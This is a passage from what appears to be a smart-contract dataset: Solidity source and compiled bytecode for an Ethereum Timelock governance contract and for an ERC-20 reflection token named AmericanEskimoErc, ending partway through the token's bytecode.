return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// File: contracts/Timelock.sol
//
contract Timelock {
using SafeMath for uint;
event NewAdmin(address indexed newAdmin);
event NewPendingAdmin(address indexed newPendingAdmin);
event NewDelay(uint indexed newDelay);
event CancelTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta);
event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta);
event QueueTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta);
uint public constant GRACE_PERIOD = 604800 * 2;
uint public constant MINIMUM_DELAY = 1 minutes;
uint public constant MAXIMUM_DELAY = 604800;
address public admin;
address public pendingAdmin;
uint public delay;
bool public admin_initialized;
mapping (bytes32 => bool) public queuedTransactions;
constructor(address admin_, uint delay_) public {
require(delay_ >= MINIMUM_DELAY, "Timelock::constructor: Delay must exceed minimum delay.");
require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay.");
require(admin_ != address(0), "Timelock::admin can not be 0 address");
admin = admin_;
delay = delay_;
admin_initialized = false;
}
receive() external payable { }
function setDelay(uint delay_) public {
require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock.");
require(delay_ >= MINIMUM_DELAY, "Timelock::setDelay: Delay must exceed minimum delay.");
require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay.");
delay = delay_;
emit NewDelay(delay);
}
function acceptAdmin() public {
require(msg.sender == pendingAdmin, "Timelock::acceptAdmin: Call must come from pendingAdmin.");
admin = msg.sender;
pendingAdmin = address(0);
emit NewAdmin(admin);
}
function setPendingAdmin(address pendingAdmin_) public {
// allows one time setting of admin for deployment purposes
require(pendingAdmin_ != address(0), "Timelock::pendingAdmin can not be 0 address");
if (admin_initialized) {
require(msg.sender == address(this), "Timelock::setPendingAdmin: Call must come from Timelock.");
} else {
require(msg.sender == admin, "Timelock::setPendingAdmin: First call must come from admin.");
admin_initialized = true;
}
pendingAdmin = pendingAdmin_;
emit NewPendingAdmin(pendingAdmin);
}
function queueTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public returns (bytes32) {
require(msg.sender == admin, "Timelock::queueTransaction: Call must come from admin.");
require(eta >= getBlockTimestamp().add(delay), "Timelock::queueTransaction: Estimated execution block must satisfy delay.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
queuedTransactions[txHash] = true;
emit QueueTransaction(txHash, target, value, signature, data, eta);
return txHash;
}
function cancelTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public {
require(msg.sender == admin, "Timelock::cancelTransaction: Call must come from admin.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
queuedTransactions[txHash] = false;
emit CancelTransaction(txHash, target, value, signature, data, eta);
}
function executeTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public payable returns (bytes memory) {
require(msg.sender == admin, "Timelock::executeTransaction: Call must come from admin.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued.");
require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock.");
require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), "Timelock::executeTransaction: Transaction is stale.");
queuedTransactions[txHash] = false;
bytes memory callData;
if (bytes(signature).length == 0) {
callData = data;
} else {
callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data);
}
// solium-disable-next-line security/no-call-value
(bool success, bytes memory returnData) = target.call{value:value}(callData);
require(success, "Timelock::executeTransaction: Transaction execution reverted.");
emit ExecuteTransaction(txHash, target, value, signature, data, eta);
return returnData;
}
function getBlockTimestamp() internal view returns (uint) {
// solium-disable-next-line security/no-block-members
return block.timestamp;
}
}
|
0x6080604052600436106100e15760003560e01c80636fc1f57e1161007f578063c1a287e211610059578063c1a287e214610631578063e177246e14610646578063f2b0653714610670578063f851a4401461069a576100e8565b80636fc1f57e146105de5780637d645fab14610607578063b1b43ae51461061c576100e8565b80633a66f901116100bb5780633a66f901146102ea5780634dd18bf514610449578063591fcdfe1461047c5780636a42b8f8146105c9576100e8565b80630825f38f146100ed5780630e18b681146102a257806326782247146102b9576100e8565b366100e857005b600080fd5b61022d600480360360a081101561010357600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b81111561013257600080fd5b82018360208201111561014457600080fd5b803590602001918460018302840111600160201b8311171561016557600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b8111156101b757600080fd5b8201836020820111156101c957600080fd5b803590602001918460018302840111600160201b831117156101ea57600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955050913592506106af915050565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561026757818101518382015260200161024f565b50505050905090810190601f1680156102945780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102ae57600080fd5b506102b7610baf565b005b3480156102c557600080fd5b506102ce610c4b565b604080516001600160a01b039092168252519081900360200190f35b3480156102f657600080fd5b50610437600480360360a081101561030d57600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b81111561033c57600080fd5b82018360208201111561034e57600080fd5b803590602001918460018302840111600160201b8311171561036f57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b8111156103c157600080fd5b8201836020820111156103d357600080fd5b803590602001918460018302840111600160201b831117156103f457600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250610c5a915050565b60408051918252519081900360200190f35b34801561045557600080fd5b506102b76004803603602081101561046c57600080fd5b50356001600160a01b0316610f5c565b34801561048857600080fd5b506102b7600480360360a081101561049f57600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b8111156104ce57600080fd5b8201836020820111156104e057600080fd5b803590602001918460018302840111600160201b8311171561050157600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561055357600080fd5b82018360208201111561056557600080fd5b803590602001918460018302840111600160201b8311171561058657600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250611096915050565b3480156105d557600080fd5b50610437611343565b3480156105ea57600080fd5b506105f3611349565b604080519115158252519081900360200190f35b34801561061357600080fd5b50610437611352565b34801561062857600080fd5b50610437611359565b34801561063d57600080fd5b5061043761135e565b34801561065257600080fd5b506102b76004803603602081101561066957600080fd5b5035611365565b34801561067c57600080fd5b506105f36004803603602081101561069357600080fd5b5035611458565b3480156106a657600080fd5b506102ce61146d565b6000546060906001600160a01b031633146106fb5760405162461bcd60e51b81526004018080602001828103825260388152602001806114e26038913960400191505060405180910390fd5b6000868686868660405160200180866001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610761578181015183820152602001610749565b50505050905090810190601f16801561078e5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b838110156107c15781810151838201526020016107a9565b50505050905090810190601f1680156107ee5780820380516001836020036101000a031916815260200191505b5060408051601f1981840301815291815281516020928301206000818152600490935291205490995060ff16975061085f96505050505050505760405162461bcd60e51b815260040180806020018281038252603d81526020018061169b603d913960400191505060405180910390fd5b8261086861147c565b10156108a55760405162461bcd60e51b81526004018080602001828103825260458152602001806115846045913960600191505060405180910390fd5b6108b28362127500611480565b6108ba61147c565b11156108f75760405162461bcd60e51b81526004018080602001828103825260338152602001806115516033913960400191505060405180910390fd5b6000818152600460205260409020805460ff19169055845160609061091d5750836109a0565b85805190602001208560405160200180836001600160e01b031916815260040182805190602001908083835b602083106109685780518252601f199092019160209182019101610949565b6001836020036101000a0380198251168184511680821785525050505050509050019250505060405160208183030381529060405290505b60006060896001600160a01b031689846040518082805190602001908083835b602083106109df5780518252601f1990920191602091820191016109c0565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610a41576040519150601f19603f3d011682016040523d82523d6000602084013e610a46565b606091505b509150915081610a875760405162461bcd60e51b815260040180806020018281038252603d81526020018061177e603d913960400191505060405180910390fd5b896001600160a01b0316847fa560e3198060a2f10670c1ec5b403077ea6ae93ca8de1c32b451dc1a943cd6e78b8b8b8b604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610b04578181015183820152602001610aec565b50505050905090810190601f168015610b315780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610b64578181015183820152602001610b4c565b50505050905090810190601f168015610b915780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a39998505050505050505050565b6001546001600160a01b03163314610bf85760405162461bcd60e51b81526004018080602001828103825260388152602001806116d86038913960400191505060405180910390fd5b60008054336001600160a01b031991821617808355600180549092169091556040516001600160a01b03909116917f71614071b88dee5e0b2ae578a9dd7b2ebbe9ae832ba419dc0242cd065a290b6c91a2565b6001546001600160a01b031681565b600080546001600160a01b03163314610ca45760405162461bcd60e51b81526004018080602001828103825260368152602001806117486036913960400191505060405180910390fd5b610cb8600254610cb261147c565b90611480565b821015610cf65760405162461bcd60e51b81526004018080602001828103825260498152602001806117bb6049913960600191505060405180910390fd5b6000868686868660405160200180866001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610d5c578181015183820152602001610d44565b50505050905090810190601f168015610d895780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610dbc578181015183820152602001610da4565b50505050905090810190601f168015610de95780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060016004600083815260200190815260200160002060006101000a81548160ff021916908315150217905550866001600160a01b0316817f76e2796dc3a81d57b0e8504b647febcbeeb5f4af818e164f11eef8131a6a763f88888888604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610eb4578181015183820152602001610e9c565b50505050905090810190601f168015610ee15780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610f14578181015183820152602001610efc565b50505050905090810190601f168015610f415780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a39695505050505050565b6001600160a01b038116610fa15760405162461bcd60e51b815260040180806020018281038252602b815260200180611670602b913960400191505060405180910390fd5b60035460ff1615610fef57333014610fea5760405162461bcd60e51b81526004018080602001828103825260388152602001806117106038913960400191505060405180910390fd5b611046565b6000546001600160a01b031633146110385760405162461bcd60e51b815260040180806020018281038252603b8152602001806115fd603b913960400191505060405180910390fd5b6003805460ff191660011790555b600180546001600160a01b0319166001600160a01b0383811691909117918290556040519116907f69d78e38a01985fbb1462961809b4b2d65531bc93b2b94037f3334b82ca4a75690600090a250565b6000546001600160a01b031633146110df5760405162461bcd60e51b815260040180806020018281038252603781526020018061151a6037913960400191505060405180910390fd5b6000858585858560405160200180866001600160a01b031681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561114557818101518382015260200161112d565b50505050905090810190601f1680156111725780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b838110156111a557818101518382015260200161118d565b50505050905090810190601f1680156111d25780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060006004600083815260200190815260200160002060006101000a81548160ff021916908315150217905550856001600160a01b0316817f2fffc091a501fd91bfbff27141450d3acb40fb8e6d8382b243ec7a812a3aaf8787878787604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561129d578181015183820152602001611285565b50505050905090810190601f1680156112ca5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b838110156112fd5781810151838201526020016112e5565b50505050905090810190601f16801561132a5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a3505050505050565b60025481565b60035460ff1681565b62093a8081565b603c81565b6212750081565b3330146113a35760405162461bcd60e51b81526004018080602001828103825260318152602001806118046031913960400191505060405180910390fd5b603c8110156113e35760405162461bcd60e51b81526004018080602001828103825260348152602001806115c96034913960400191505060405180910390fd5b62093a808111156114255760405162461bcd60e51b81526004018080602001828103825260388152602001806116386038913960400191505060405180910390fd5b600281905560405181907f948b1f6a42ee138b7e34058ba85a37f716d55ff25ff05a763f15bed6a04c8d2c90600090a250565b60046020526000908152604090205460ff1681565b6000546001600160a01b031681565b4290565b6000828201838110156114da576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fe54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a63616e63656c5472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206973207374616c652e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774207375727061737365642074696d65206c6f636b2e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d75737420657863656564206d696e696d756d2064656c61792e54696d656c6f636b3a3a73657450656e64696e6741646d696e3a2046697273742063616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d757374206e6f7420657863656564206d6178696d756d2064656c61792e54696d656c6f636b3a3a70656e64696e6741646d696e2063616e206e6f742062652030206164647265737354696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774206265656e207175657565642e54696d656c6f636b3a3a61636365707441646d696e3a2043616c6c206d75737420636f6d652066726f6d2070656e64696e6741646d696e2e54696d656c6f636b3a3a73657450656e64696e6741646d696e3a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e20657865637574696f6e2072657665727465642e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a20457374696d6174656420657865637574696f6e20626c6f636b206d75737420736174697366792064656c61792e54696d656c6f636b3a3a73657444656c61793a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2ea2646970667358221220f6a5a73126b31c078d0581ccceed0add8140ad62efc4e3a30635fd4bf3355bda64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 6,141 |
0xef3cbafb3bb9fb474eb9bd0cf30afdb08c7812d0
|
/**
*Submitted for verification at Etherscan.io on 2021-10-26
*/
/**
* TG : t.me/AmericanEskimoErc
*
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract AmericanEskimoErc is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
address payable private _feeAddrWallet3;
string private constant _name = "AmericanEskimoErc";
string private constant _symbol = "$AEE";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x463bd4bf35bcF34e6A4c720faa5C4907EA8E2C52);
_feeAddrWallet2 = payable(0x463bd4bf35bcF34e6A4c720faa5C4907EA8E2C52);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (from != address(this)) {
_feeAddr1 = 3;
_feeAddr2 = 5;
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 300000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function liftMaxTx() external onlyOwner{
_maxTxAmount = _tTotal;
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount/10*7);
_feeAddrWallet2.transfer(amount/10*3);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 100000000* 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106100f75760003560e01c806370a082311161008a578063a9059cbb11610059578063a9059cbb146102ff578063c3c8cd801461033c578063c9567bf914610353578063dd62ed3e1461036a576100fe565b806370a0823114610255578063715018a6146102925780638da5cb5b146102a957806395d89b41146102d4576100fe565b80632ab30838116100c65780632ab30838146101d3578063313ce567146101ea5780635932ead1146102155780636fc3eaec1461023e576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103a7565b6040516101259190612337565b60405180910390f35b34801561013a57600080fd5b5061015560048036038101906101509190611f40565b6103e4565b604051610162919061231c565b60405180910390f35b34801561017757600080fd5b50610180610402565b60405161018d9190612459565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b89190611eed565b610412565b6040516101ca919061231c565b60405180910390f35b3480156101df57600080fd5b506101e86104eb565b005b3480156101f657600080fd5b506101ff610591565b60405161020c91906124ce565b60405180910390f35b34801561022157600080fd5b5061023c60048036038101906102379190611f80565b61059a565b005b34801561024a57600080fd5b5061025361064c565b005b34801561026157600080fd5b5061027c60048036038101906102779190611e53565b6106be565b6040516102899190612459565b60405180910390f35b34801561029e57600080fd5b506102a761070f565b005b3480156102b557600080fd5b506102be610862565b6040516102cb919061224e565b60405180910390f35b3480156102e057600080fd5b506102e961088b565b6040516102f69190612337565b60405180910390f35b34801561030b57600080fd5b5061032660048036038101906103219190611f40565b6108c8565b604051610333919061231c565b60405180910390f35b34801561034857600080fd5b506103516108e6565b005b34801561035f57600080fd5b50610368610960565b005b34801561037657600080fd5b50610391600480360381019061038c9190611ead565b610ebb565b60405161039e9190612459565b60405180910390f35b60606040518060400160405280601181526020017f416d65726963616e45736b696d6f457263000000000000000000000000000000815250905090565b60006103f86103f1610f42565b8484610f4a565b6001905092915050565b600067016345785d8a0000905090565b600061041f848484611115565b6104e08461042b610f42565b6104db85604051806060016040528060288152602001612a0b60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610491610f42565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112c39092919063ffffffff16565b610f4a565b600190509392505050565b6104f3610f42565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610580576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610577906123d9565b60405180910390fd5b67016345785d8a0000601181905550565b60006009905090565b6105a2610f42565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461062f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610626906123d9565b60405180910390fd5b80601060176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661068d610f42565b73ffffffffffffffffffffffffffffffffffffffff16146106ad57600080fd5b60004790506106bb81611327565b50565b6000610708600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461142c565b9050919050565b610717610f42565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079b906123d9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f2441454500000000000000000000000000000000000000000000000000000000815250905090565b60006108dc6108d5610f42565b8484611115565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610927610f42565b73ffffffffffffffffffffffffffffffffffffffff161461094757600080fd5b6000610952306106be565b905061095d8161149a565b50565b610968610f42565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ec906123d9565b60405180910390fd5b601060149054906101000a900460ff1615610a45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3c90612439565b6